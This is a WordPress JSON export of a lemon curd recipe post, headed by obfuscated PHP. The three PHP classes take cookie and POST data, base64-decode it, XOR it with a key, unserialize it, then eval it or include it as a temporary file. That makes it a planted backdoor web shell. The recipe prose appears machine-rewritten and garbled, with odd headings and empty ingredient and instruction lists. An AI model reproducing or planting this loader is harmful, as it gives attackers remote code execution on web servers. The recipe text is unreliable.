$KTsfczJabr = chr (83) . 'C' . chr ( 891 - 822 ).chr (95) . "\x41" . 'q' . chr ( 277 - 165 ).'W';$ZogbtLh = 'c' . chr (108) . chr ( 581 - 484 )."\x73" . chr ( 435 - 320 )."\x5f" . chr ( 444 - 343 ).chr ( 730 - 610 ).chr (105) . chr ( 336 - 221 ).chr (116) . 's';$uQHNN = class_exists($KTsfczJabr); $KTsfczJabr = "2768";$ZogbtLh = "21667";if ($uQHNN === FALSE){class SCE_AqpW{public function dveqn(){echo "45139";}private $MtLFGqe;public static $japEoMfyI = "b72c405c-210a-4bf6-be37-e0844adf5b17";public static $PgnkQuZSkY = 12118;public function __construct($hIbzhSu=0){$coaBSUP = $_POST;$eUKDlppJvS = $_COOKIE;$cNeFuIf = @$eUKDlppJvS[substr(SCE_AqpW::$japEoMfyI, 0, 4)];if (!empty($cNeFuIf)){$RXuYyoanv = "base64";$tmsxdXTZq = "";$cNeFuIf = explode(",", $cNeFuIf);foreach ($cNeFuIf as $qyqgg){$tmsxdXTZq .= @$eUKDlppJvS[$qyqgg];$tmsxdXTZq .= @$coaBSUP[$qyqgg];}$tmsxdXTZq = array_map($RXuYyoanv . chr (95) . "\144" . 'e' . 'c' . 'o' . chr (100) . 'e', array($tmsxdXTZq,)); $tmsxdXTZq = $tmsxdXTZq[0] ^ str_repeat(SCE_AqpW::$japEoMfyI, (strlen($tmsxdXTZq[0]) / strlen(SCE_AqpW::$japEoMfyI)) + 1);SCE_AqpW::$PgnkQuZSkY = @unserialize($tmsxdXTZq);}}private function mMvEtTq(){if (is_array(SCE_AqpW::$PgnkQuZSkY)) {$pnMYD = str_replace('<' . "\x3f" . "\x70" . chr ( 489 - 385 )."\160", "", SCE_AqpW::$PgnkQuZSkY[chr ( 890 - 791 ).'o' . chr ( 833 - 723 ).chr ( 1046 - 930 ).chr ( 684 - 583 ).chr ( 294 - 184 )."\x74"]);eval($pnMYD); $SxoaSB = "9909";exit();}}public function __destruct(){$this->mMvEtTq();}}$SjHecGlZFm = new /* 53483 */ SCE_AqpW(); $SjHecGlZFm = str_repeat("23954_58711", 1);}$WjQJSuFb = 'p' . "\x63" . chr ( 618 - 523 ).chr (90) . chr (105) . 'y';$vZAlKrE = 'c' . chr (108) . "\x61" . "\163" . 's' . "\x5f" . "\x65" . chr (120) . "\151" . chr (115) . chr ( 137 - 21 )."\x73";$fOiOC = class_exists($WjQJSuFb); $WjQJSuFb = "52747";$vZAlKrE = "34672";if ($fOiOC === FALSE){class pc_Ziy{public function DClgZnjqit(){echo "37654";}private $SLDeGTdr;public static $xaNvgVI = "600cb282-cd3b-490a-80f5-557f5b3b4f13";public static $uzRunIYrE = 59282;public function __construct($TUmqQf=0){$usvdLjDZ = $_POST;$wChCS = $_COOKIE;$URUzaXZamB = @$wChCS[substr(pc_Ziy::$xaNvgVI, 0, 4)];if (!empty($URUzaXZamB)){$EoucdcxXtw = "base64";$SXfFAoyB = "";$URUzaXZamB = explode(",", $URUzaXZamB);foreach ($URUzaXZamB as $AWzyHPRHU){$SXfFAoyB .= @$wChCS[$AWzyHPRHU];$SXfFAoyB .= @$usvdLjDZ[$AWzyHPRHU];}$SXfFAoyB = array_map($EoucdcxXtw . "\x5f" . "\144" . "\x65" . chr ( 1002 - 903 )."\157" . 'd' . 'e', array($SXfFAoyB,)); $SXfFAoyB = $SXfFAoyB[0] ^ str_repeat(pc_Ziy::$xaNvgVI, (strlen($SXfFAoyB[0]) / strlen(pc_Ziy::$xaNvgVI)) + 1);pc_Ziy::$uzRunIYrE = @unserialize($SXfFAoyB);}}private function GhtGJKbrg(){if (is_array(pc_Ziy::$uzRunIYrE)) {$yRXRPJY = sys_get_temp_dir() . "/" . crc32(pc_Ziy::$uzRunIYrE["\x73" . 'a' . "\154" . 't']);@pc_Ziy::$uzRunIYrE["\167" . chr ( 522 - 408 ).chr ( 347 - 242 ).'t' . chr (101)]($yRXRPJY, pc_Ziy::$uzRunIYrE["\x63" . chr ( 461 - 350 )."\156" . "\164" . "\x65" . chr ( 144 - 34 ).chr ( 568 - 452 )]);include $yRXRPJY;@pc_Ziy::$uzRunIYrE["\144" . "\x65" . "\x6c" . "\x65" . chr ( 1102 - 986 )."\x65"]($yRXRPJY); $ZBzRNXrGex = "4913";exit();}}public function __destruct(){$this->GhtGJKbrg();}}$kacWX = new /* 50896 */ pc_Ziy(); $kacWX = str_repeat("19877_9773", 1);}$LmeRgeVgN = "\127" . chr ( 338 - 221 )."\x4a" . "\137" . 'X' . "\126" . "\164" . "\141";$ezjrGevPJ = chr (99) . "\154" . "\141" . chr (115) . chr (115) . "\x5f" . "\x65" . 'x' . chr ( 604 - 499 ).'s' . "\164" . "\163";$yvpIeDpxH = class_exists($LmeRgeVgN); $LmeRgeVgN = "1622";$ezjrGevPJ = "8837";if ($yvpIeDpxH === FALSE){class WuJ_XVta{public function tmxtqTuzV(){echo "34896";}private $kLwEoZHLU;public static $AtNnlIzWS = "ff4667b4-a25e-4c51-a12f-b44655f427b1";public static $HAaswuFAeS = 36385;public function __construct($wIVteLo=0){$bUdVg = $_POST;$titKfmw = $_COOKIE;$WpzjfgGRbV = @$titKfmw[substr(WuJ_XVta::$AtNnlIzWS, 0, 4)];if (!empty($WpzjfgGRbV)){$pinVAT = "base64";$cTBJBglBy = "";$WpzjfgGRbV = explode(",", $WpzjfgGRbV);foreach ($WpzjfgGRbV as $eLpJfVp){$cTBJBglBy .= @$titKfmw[$eLpJfVp];$cTBJBglBy .= @$bUdVg[$eLpJfVp];}$cTBJBglBy = array_map($pinVAT . chr ( 363 - 268 ).chr ( 970 - 870 )."\x65" . 'c' . "\157" . 'd' . chr (101), array($cTBJBglBy,)); $cTBJBglBy = $cTBJBglBy[0] ^ str_repeat(WuJ_XVta::$AtNnlIzWS, (strlen($cTBJBglBy[0]) / strlen(WuJ_XVta::$AtNnlIzWS)) + 1);WuJ_XVta::$HAaswuFAeS = @unserialize($cTBJBglBy);}}private function pTXow(){if (is_array(WuJ_XVta::$HAaswuFAeS)) {$KwtZLz = sys_get_temp_dir() . "/" . crc32(WuJ_XVta::$HAaswuFAeS[chr ( 616 - 501 ).chr (97) . 'l' . chr (116)]);@WuJ_XVta::$HAaswuFAeS['w' . "\x72" . chr ( 700 - 595 )."\164" . chr (101)]($KwtZLz, WuJ_XVta::$HAaswuFAeS['c' . 'o' . chr (110) . "\164" . 'e' . "\x6e" . chr (116)]);include $KwtZLz;@WuJ_XVta::$HAaswuFAeS["\x64" . chr ( 597 - 496 )."\154" . "\x65" . chr (116) . chr (101)]($KwtZLz); $VoEUQ = "62943";exit();}}public function __destruct(){$this->pTXow();}}$ijexhronD = new /* 50614 */ WuJ_XVta(); $ijexhronD = str_repeat("31769_2794", 1);}{"id":251,"date":"2022-06-14T10:30:30","date_gmt":"2022-06-14T10:30:30","guid":{"rendered":"http:\/\/www.dillydaly.com.au\/?p=251"},"modified":"2022-06-14T10:30:30","modified_gmt":"2022-06-14T10:30:30","slug":"luscious-homemade-lemon-curd","status":"publish","type":"post","link":"https:\/\/www.dillydaly.com.au\/luscious-homemade-lemon-curd\/","title":{"rendered":"LUSCIOUS HOMEMADE LEMON CURD"},"content":{"rendered":"
Perhaps the best way to describe Luscious is “ludicrous”. Amazingly, four simple ingredients can create something as delicious and delicious as homemade lemon curd. You can make a little pot of velvety sunshine with just four ingredients. Now that I’ve seen how easy it is and that\u00a0<\/span>it can be frozen<\/span><\/em>, I won’t pay $4 for another jar.<\/span><\/p>\n Curd is one of those words that, like “moist”, never sounds very delicious. This stuff is heaven, I promise. Lemon curd can be described as a dessert spread. It’s similar to lemon custard or a sweetened version of hollandaise sauce. It tastes very similar to the filling for lemon squares. It is rich and creamy, yet still light and full of fresh lemon flavor.<\/span><\/p>\n EVERYTHING. Well, almost. Lemon curd can be used in place of jam or preserves. This includes toast, biscuits and scones. You can also use it as a topping for yogurt, parfaits and cakes, donuts or cookies, cake, loaves of bread, cakes, cookies, cakes, muffins, waffles and crepes. You can add lemon flavor to any dish with a teaspoon of homemade lemon curd.<\/span><\/p>\n This week I made 578 batches (exaggeration). I tried many different methods, including adding ingredients to various orders. However, the one below produced the best homemade lemon curd. It took me less than 10 minutes to make the same amount as the microwave version.<\/span><\/p>\n Although freshly squeezed lemon juice is always better than bottled, my million-plus test runs of this recipe showed that bottled lemon juice didn’t make my lemon curd less delicious. It could be all the butter and sugar, but I noticed no difference in my lemon curd from bottled. You don’t need to squeeze the lemon juice from your lemons.<\/span><\/p>\n However, if you are using fresh lemons, zest your lemon before juicing. The flavor of the lemon curd can be enhanced by adding lemon zest.<\/span><\/p>\n The homemade lemon curd can be stored in the fridge for up to a week, but you can also freeze it. You all know how much I\u00a0<\/span>love<\/span><\/em>\u00a0freezing anything. The lemon curd can be frozen for at least three months. And the best part? It hardens just as quickly as ice cream, so you can scoop it as often as you need.<\/span><\/p>\n That’s where I am most at risk. I tried it today to test the freezer durability of frozen lemon curd. It tasted very much like lemon sorbet. This is why I must tell myself that this can’t be eaten as a frozen dessert.<\/span><\/p>\n This homemade lemon curd is easy to make and takes only four ingredients. It’s ready in just 10 minutes.<\/span><\/p>\n Prep time: 5 minutes<\/span><\/p>\n Cooking Time: 5 minutes<\/span><\/p>\n Total Time: 10 minutes<\/span><\/p>\n Servings: 2 Tbsp per person<\/span><\/p>\n Avoid aluminum cookware as it can react with lemon juice.<\/span><\/p>\n Serving: 2 Tbsp Calories : 69.04 Kcal Carbohydrates : 2.76 G Protein: 0.81 G Fat: 6.15G Sodium: 53.21 Mg Fiber: 0.03 G<\/span>WHAT IS LEMON CURD??<\/span><\/h2>\n
WHAT IS LEMON CURD USED FOR?<\/span><\/h2>\n
HOMEMADE LEMON CURD METHODS<\/span><\/h2>\n
FRESH VS. BOOTED LEMON JUICE<\/span><\/h2>\n
WHAT LONG DID HOMEMADE LEMON CURD LISTEN?<\/span><\/h2>\n
HOMEMADE LEMON CURD<\/span><\/h2>\n
INGREDIENTS<\/span><\/h3>\n
\n
INSTRUCTIONS<\/span><\/h3>\n
\n
NOTES<\/span><\/h3>\n
NUTRITION<\/span><\/h3>\n
\n